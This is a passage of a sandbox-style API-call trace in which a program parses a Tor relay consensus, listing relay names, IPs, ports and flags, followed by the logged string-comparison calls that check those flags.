te1eP9gwzwm5qcmW2owfhrcBTS51ng31HNUK+KZksgg\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=19000\nr itl11 AEWa8One0A5UpIsmgSZnn1ePaVo 2017-08-21 17:40:22 217.12.223.215 22 0\nm TXJa0g88hQDFbiVIgIk/52CAaWAQoMfnNXOd869Y0Ug\ns Fast Guard Running Stable Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=7020\nr Gbit420 AF1cK2t2OHMDZimK1kVaeEdJomo 2017-08-21 11:16:49 151.80.16.34 9077 9030\nm sVLNcNTigiVlifK0nVXgEb3PD2sa9Lwe1Ll04uIeGXA\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=15800\nr MiningCrew028 AF237jbm2mx+F4sMNr6HlMEHJyA 2017-08-21 17:44:11 35.188.143.6 9001 9030\nm 86PugrjeVPl1KEgNIv4qLgFy2bWlBclsNvJ/1MDLyi8\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=15900\nr Torpi AHJ/OiwdDxcxqRJnxBFQecFrILQ 2017-08-21 14:02:42 60.225.57.95 9001 9030\nm OQlZwMpEmcbyisDOjQ8hBI5X5otg2VaihxfNQalzuzU\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.4.29\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=23\nr Quintex13 AHe8unJE2z5qXtJ0boYXAGZoSIc 2017-08-21 06:37:12 199.249.223.62 443 80\nm MSgi5gqKShKxEL1nL1Qv7wPjKACZVRtWMuGS+LYOcrY\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.4-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=4160\nr torr0zzy AHkAkox9OM/cs7yEB8rW7leiT+I 2017-08-21 10:06:35 88.198.11.171 9001 9030\nm cOR+jaMOGASTniwVtosZ3jvRKeQasm+kknW4kVeqdwI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=10700\nr powertoyou AIuoi8XPytZLWDhuE4gzcfgX4cI 2017-08-21 16:09:36 88.15.188.87 9001 9030\nm elq2XVA8OvqQajpSxd6rSnnuKnX1wHSGsEacpwHjDZg\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=9680\nr BobDoe AJQ2YvMOznqi0SYrNk/AQx94+Aw 2017-08-21 08:29:18 167.114.35.107 443 0\nm OD8mzIC+AdfqQquU61OiKu4NI62LNLQ/OrxcM2dkpeI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=8850\nr jactr AJhR35M3VLAN3odvzkCIzhtJQME 2017-08-21 17:27:06 84.40.112.70 9001 9030\nm 8oad5yZhagCebsoaJTZTDvIpKzqBiWpdugcgqcBWLnc\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=363\nr CommanderRoots AKMAUbHTEtCYv18DVDzWjvbctKw 2017-08-21 09:30:19 188.68.33.125 9001 9030\nm AhXIeVLoNu3NoIN6OYhBz7Y3xVnydnpGdTyZsFl+TVk\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=731\nr hozipi ALIqOUZNig9oebg/jlqo4oMPdAw 2017-08-21 03:42:01 188.174.164.217 80 110\nm eHqGX5t+spaXciCNnxrOjc4qwlpz7PXRIv5HLsUbC94\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=206\nr QuengHoSpore ANXCb6OAXcmTRp1THD4LgLL78nQ 2017-08-21 19:20:38 93.29.252.27 9001 9002\nm S1ncRJDzMgpUB+0pP7CmrX4BHambbPf6Hob9i/KwWUc\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=49\nr MYLEX AQt3KEVEEfSFzinUx5oUU0FRwsQ 2017-08-21 04:05:49 188.230.91.173 444 800\nm BYw2DmjX6pT40ShiDifY97YN6rVBWS4PwUr7Kb/sqQQ\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=1500\nr DigiGesTor1e1 ARG6m2BGaeY2/9W1A/OCpLetboA 2017-08-21 20:06:17 176.10.104.240 443 80\nm Bkm9UxfffNEj7bD7yENepcbe3ZJS9B09lpaeEHt0hDs\ns Exit Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=30200\nr mndo01 ARHr9cPwbAn/DtOXsN4zRWzG8uM 2017-08-21 18:34:31 139.59.210.198 9001 0\nm rUvK2DAfZAAw6qopNyGZ45AjC4y6L1fikgen5Udgflk\ns Running Stable V2Dir Valid\nv Tor 0.3.0.8\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=1\nr biochemistmoscow ASgRXsTMNXheAF8L8v7ffs3E8Ds 2017-08-21 20:36:08 5.228.12.221 12630 12631\nm jIeCthgvWahqvnicvDHwUVAvJLq8IanFu2rG11Lj80E\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=445\nr Pasuga AT4Dw+lRtHKDe9Yr4xY7oiWVUfY 2017-08-21 05:13:19 85.69.57.27 4445 8885\nm pnRN98HldcSPXpDMyJMwQaiqf117riRuDvHjHgHO+1Q\ns Fast Running V2Dir Valid\nv Tor 0.2.9.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=1080\nr marsmellow AU7iS8vaFg8jayVHpGObJ+MDoec 2017-08-21 07:05:21 62.251.89.74 9001 0\nm lRUWy4T957ovquITXh8Lvju0agJ8cCyWb3CFBlkSjbo\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=3890\nr zorroleroB AVjf5WgvIFDPAxs3PLpi8WextFY 2017-08-21 14:05:43 109.75.184.77 443 0\nm oAq7EvKbaN5GOpEJFhDJGo1V+OH6cCACfstXDN/D5n8\ns Fast Running Stable Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=536\nr d0dak AWCT7kuumvRz/AyBGp0Q/aqco0s 2017-08-21 12:34:51 62.65.107.36 443 0\nm F/u3oUPA4i5rl1VcGNbjf1GMoj9YJjxPzk1ZvmYgadY\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.9.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=891\nr heidelbeermann AWWmgIYt5cNM13JBE0cq97Hdyfs 2017-08-21 02:36:21 84.19.178.155 9001 0\nm R57tNDgaBefi3y1iqENry663CbjRAx/8tuj9eqeUdak\ns Fast Running Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=545\nr noce AWZNQagfgXo+cUANa/1AlHqkCvs 2017-08-21 17:01:46 216.127.173.78 443 80\nm RHZL8oqc/VXGKqpxxYycWEF4t2jDB9OBj7rYhOzCLiw\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=9030\nr hedden AXOnqLqdMgQ2QbaXJtMqmt/ibRY 2017-08-21 09:58:45 93.174.93.133 443 80\nm 8kUOtpUjcFfxz5U9Sobxvy/Z7jK8eYaG2tJjd0GV0JI\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=13300\nr Huddlepoop4 AXQZQsXHeVOE1lkkTdEXSZz4c2I 2017-08-21 08:47:30 178.157.198.187 9001 9030\nm lvXjLapF6OPpyT3VtHL2cabbUcVNEiNUSVpBLjT3lpI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=5270\nr clifford AYA0aChQNFmEeB41O3pGNEPsPwY 2017-08-21 15:19:50 97.107.138.68 9001 0\nm f6glUpMp0kSOCz9GIK1aGy2okbci7DkKqS1tx5Onr3s\ns Fast Running Stable Valid\nv Tor 0.2.5", _SubStr="\nr ") returned="\nr CalyxInstitute14 ABG9JIWtRdmE7EFZyI/AZuXjMA4 2017-08-21 05:05:15 162.247.72.201 443 80\nm I7ecRR0TjlV0+SRrbMIQM8TG8PTCuJerMsAklr+ZQp4\ns Exit Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.7\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=3830\nr Neldoreth ABUk3UA9cp8I9+XXeBPvEnVs+o0 2017-08-21 09:58:54 185.13.39.197 443 80\nm IjKmHjHBklzw18501A9gP4XbwGwzazikA4XZHAtyddY\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=5740\nr MansikkaMaki04 ABpoc34PraISaJvGDXJn/1XrZyI 2017-08-21 19:11:45 35.196.246.155 9001 9030\nm eebCg4IkvACJGrf4+ma1rHffy223xC2BkxME0JBf+lw\ns Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=20\nr metroholografix ACEhJSRnU4ydobwjeJl+ZGKYFPY 2017-08-21 17:00:57 46.4.253.194 443 9030\nm rLolLZe4zfYDrUmzDTGeU/DdFtAmOzC/OEjtKu7XxsU\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=141\nr dj2bee ACaSv+vqmZwxB7Wfcg1/mkwpgZ8 2017-08-21 03:39:28 87.118.116.227 9001 0\nm xieN5PK4YAcfozCB7WfclM5Bucw/FVXWx6OUK8zzoMc\ns Fast Running Stable Valid\nv Tor 0.2.4.29\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=110\nr UbuntuCore185 ADTrRcdw/y98wosHUBV0zMKgoWw 2017-08-21 06:54:30 88.179.66.116 36543 0\nm 87kCjAEsdYwuZU/RQ0rhUnVVbAczHC0UM8S3unblvb4\ns Fast Running V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=33\nr torbogen AEHgFQsKMHUGwoY+/J8rfjpSOzY 2017-08-21 18:21:54 91.97.53.178 9001 9030\nm 41nHWhtdxaPNpJqBxcRbu7UqGJ+I//dkuN+oJ/nKxaQ\ns Fast Running V2Dir Valid\nv Tor 0.3.0.7\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=430\nr havingtrouble AEJpGAnlKLJYyf4BKhxGhZFj8UI 2017-08-21 02:59:14 159.203.42.254 9001 443\nm te1eP9gwzwm5qcmW2owfhrcBTS51ng31HNUK+KZksgg\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=19000\nr itl11 AEWa8One0A5UpIsmgSZnn1ePaVo 2017-08-21 17:40:22 217.12.223.215 22 0\nm TXJa0g88hQDFbiVIgIk/52CAaWAQoMfnNXOd869Y0Ug\ns Fast Guard Running Stable Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=7020\nr Gbit420 AF1cK2t2OHMDZimK1kVaeEdJomo 2017-08-21 11:16:49 151.80.16.34 9077 9030\nm sVLNcNTigiVlifK0nVXgEb3PD2sa9Lwe1Ll04uIeGXA\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=15800\nr MiningCrew028 AF237jbm2mx+F4sMNr6HlMEHJyA 2017-08-21 17:44:11 35.188.143.6 9001 9030\nm 86PugrjeVPl1KEgNIv4qLgFy2bWlBclsNvJ/1MDLyi8\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=15900\nr Torpi AHJ/OiwdDxcxqRJnxBFQecFrILQ 2017-08-21 14:02:42 60.225.57.95 9001 9030\nm OQlZwMpEmcbyisDOjQ8hBI5X5otg2VaihxfNQalzuzU\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.4.29\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=23\nr Quintex13 AHe8unJE2z5qXtJ0boYXAGZoSIc 2017-08-21 06:37:12 199.249.223.62 443 80\nm MSgi5gqKShKxEL1nL1Qv7wPjKACZVRtWMuGS+LYOcrY\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.4-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=4160\nr torr0zzy AHkAkox9OM/cs7yEB8rW7leiT+I 2017-08-21 10:06:35 88.198.11.171 9001 9030\nm cOR+jaMOGASTniwVtosZ3jvRKeQasm+kknW4kVeqdwI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=10700\nr powertoyou AIuoi8XPytZLWDhuE4gzcfgX4cI 2017-08-21 16:09:36 88.15.188.87 9001 9030\nm elq2XVA8OvqQajpSxd6rSnnuKnX1wHSGsEacpwHjDZg\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=9680\nr BobDoe AJQ2YvMOznqi0SYrNk/AQx94+Aw 2017-08-21 08:29:18 167.114.35.107 443 0\nm OD8mzIC+AdfqQquU61OiKu4NI62LNLQ/OrxcM2dkpeI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=8850\nr jactr AJhR35M3VLAN3odvzkCIzhtJQME 2017-08-21 17:27:06 84.40.112.70 9001 9030\nm 8oad5yZhagCebsoaJTZTDvIpKzqBiWpdugcgqcBWLnc\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=363\nr CommanderRoots AKMAUbHTEtCYv18DVDzWjvbctKw 2017-08-21 09:30:19 188.68.33.125 9001 9030\nm AhXIeVLoNu3NoIN6OYhBz7Y3xVnydnpGdTyZsFl+TVk\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=731\nr hozipi ALIqOUZNig9oebg/jlqo4oMPdAw 2017-08-21 03:42:01 188.174.164.217 80 110\nm eHqGX5t+spaXciCNnxrOjc4qwlpz7PXRIv5HLsUbC94\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=206\nr QuengHoSpore ANXCb6OAXcmTRp1THD4LgLL78nQ 2017-08-21 19:20:38 93.29.252.27 9001 9002\nm S1ncRJDzMgpUB+0pP7CmrX4BHambbPf6Hob9i/KwWUc\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=49\nr MYLEX AQt3KEVEEfSFzinUx5oUU0FRwsQ 2017-08-21 04:05:49 188.230.91.173 444 800\nm BYw2DmjX6pT40ShiDifY97YN6rVBWS4PwUr7Kb/sqQQ\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=1500\nr DigiGesTor1e1 ARG6m2BGaeY2/9W1A/OCpLetboA 2017-08-21 20:06:17 176.10.104.240 443 80\nm Bkm9UxfffNEj7bD7yENepcbe3ZJS9B09lpaeEHt0hDs\ns Exit Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=30200\nr mndo01 ARHr9cPwbAn/DtOXsN4zRWzG8uM 2017-08-21 18:34:31 139.59.210.198 9001 0\nm rUvK2DAfZAAw6qopNyGZ45AjC4y6L1fikgen5Udgflk\ns Running Stable V2Dir Valid\nv Tor 0.3.0.8\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=1\nr biochemistmoscow ASgRXsTMNXheAF8L8v7ffs3E8Ds 2017-08-21 20:36:08 5.228.12.221 12630 12631\nm jIeCthgvWahqvnicvDHwUVAvJLq8IanFu2rG11Lj80E\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=445\nr Pasuga AT4Dw+lRtHKDe9Yr4xY7oiWVUfY 2017-08-21 05:13:19 85.69.57.27 4445 8885\nm pnRN98HldcSPXpDMyJMwQaiqf117riRuDvHjHgHO+1Q\ns Fast Running V2Dir Valid\nv Tor 0.2.9.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=1080\nr marsmellow AU7iS8vaFg8jayVHpGObJ+MDoec 2017-08-21 07:05:21 62.251.89.74 9001 0\nm lRUWy4T957ovquITXh8Lvju0agJ8cCyWb3CFBlkSjbo\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=3890\nr zorroleroB AVjf5WgvIFDPAxs3PLpi8WextFY 2017-08-21 14:05:43 109.75.184.77 443 0\nm oAq7EvKbaN5GOpEJFhDJGo1V+OH6cCACfstXDN/D5n8\ns Fast Running Stable Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=536\nr d0dak AWCT7kuumvRz/AyBGp0Q/aqco0s 2017-08-21 12:34:51 62.65.107.36 443 0\nm F/u3oUPA4i5rl1VcGNbjf1GMoj9YJjxPzk1ZvmYgadY\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.9.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=891\nr heidelbeermann AWWmgIYt5cNM13JBE0cq97Hdyfs 2017-08-21 02:36:21 84.19.178.155 9001 0\nm R57tNDgaBefi3y1iqENry663CbjRAx/8tuj9eqeUdak\ns Fast Running Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=545\nr noce AWZNQagfgXo+cUANa/1AlHqkCvs 2017-08-21 17:01:46 216.127.173.78 443 80\nm RHZL8oqc/VXGKqpxxYycWEF4t2jDB9OBj7rYhOzCLiw\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=9030\nr hedden AXOnqLqdMgQ2QbaXJtMqmt/ibRY 2017-08-21 09:58:45 93.174.93.133 443 80\nm 8kUOtpUjcFfxz5U9Sobxvy/Z7jK8eYaG2tJjd0GV0JI\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=13300\nr Huddlepoop4 AXQZQsXHeVOE1lkkTdEXSZz4c2I 2017-08-21 08:47:30 178.157.198.187 9001 9030\nm lvXjLapF6OPpyT3VtHL2cabbUcVNEiNUSVpBLjT3lpI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=5270\nr clifford AYA0aChQNFmEeB41O3pGNEPsPwY 2017-08-21 15:19:50 97.107.138.68 9001 0\nm f6glUpMp0kSOCz9GIK1aGy2okbci7DkKqS1tx5Onr3s\ns Fast Running Stable Valid\nv Tor 0.2.5.10\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=1210\nr multisec2 AaD8ChoRjh17F44jllQIDVz+Y/g 2017-08-21 17:12:17 193.90.12.87 9002 0\nm 82h6aIej6E2Oklo+QvO3LSVHebTbSR6u2NWi8jRP6ZI\ns Exit Fast Guard Running Stable Valid\nv Tor 0.2.7.6\n" [0119.863] strlen (_Str="\ndirectory-footer") returned 0x11 [0119.863] memchr (_Buf=0x3940d00, _Val=10, _MaxCount=0x11a) returned 0x3940d4c [0119.863] strncmp (_Str1="m qGwDnVG4X", _Str2="-----BEGIN ", _MaxCount=0xb) returned 64 [0119.863] strncmp (_Str1="s Fast Runn", _Str2="-----BEGIN ", _MaxCount=0xb) returned 70 [0119.863] strncmp (_Str1="v Tor 0.3.0", _Str2="-----BEGIN ", _MaxCount=0xb) returned 73 [0119.863] strncmp (_Str1="pr Cons=1-2", _Str2="-----BEGIN ", _MaxCount=0xb) returned 67 [0119.863] strncmp (_Str1="w Bandwidth", _Str2="-----BEGIN ", _MaxCount=0xb) returned 74 [0119.863] htonl (hostlong=0x43a11f93) returned 0x931fa143 [0119.864] htonl (hostlong=0x931fa143) returned 0x43a11f93 [0119.864] _errno () returned 0x9f07d8 [0119.864] strtol (in: _Str="9001", _EndPtr=0x36f004, _Radix=10 | out: _EndPtr=0x36f004*="") returned 9001 [0119.864] _errno () returned 0x9f07d8 [0119.864] _errno () returned 0x9f07d8 [0119.864] strtol (in: _Str="0", _EndPtr=0x36f004, _Radix=10 | out: _EndPtr=0x36f004*="") returned 0 [0119.864] _errno () returned 0x9f07d8 [0119.864] strcmp (_Str1="Fast", _Str2="Exit") returned 1 [0119.864] strcmp (_Str1="Fast", _Str2="Stable") returned -1 [0119.864] strcmp (_Str1="Fast", _Str2="Fast") returned 0 [0119.864] strcmp (_Str1="Running", _Str2="Exit") returned 1 [0119.864] strcmp (_Str1="Running", _Str2="Stable") returned -1 [0119.864] strcmp (_Str1="Running", _Str2="Fast") returned 1 [0119.864] strcmp (_Str1="Running", _Str2="Running") returned 0 [0119.864] strcmp (_Str1="Stable", _Str2="Exit") returned 1 [0119.864] strcmp (_Str1="Stable", _Str2="Stable") returned 0 [0119.864] strcmp (_Str1="V2Dir", _Str2="Exit") returned 1 [0119.864] strcmp (_Str1="V2Dir", _Str2="Stable") returned 1 [0119.864] strcmp (_Str1="V2Dir", _Str2="Fast") returned 1 [0119.864] strcmp 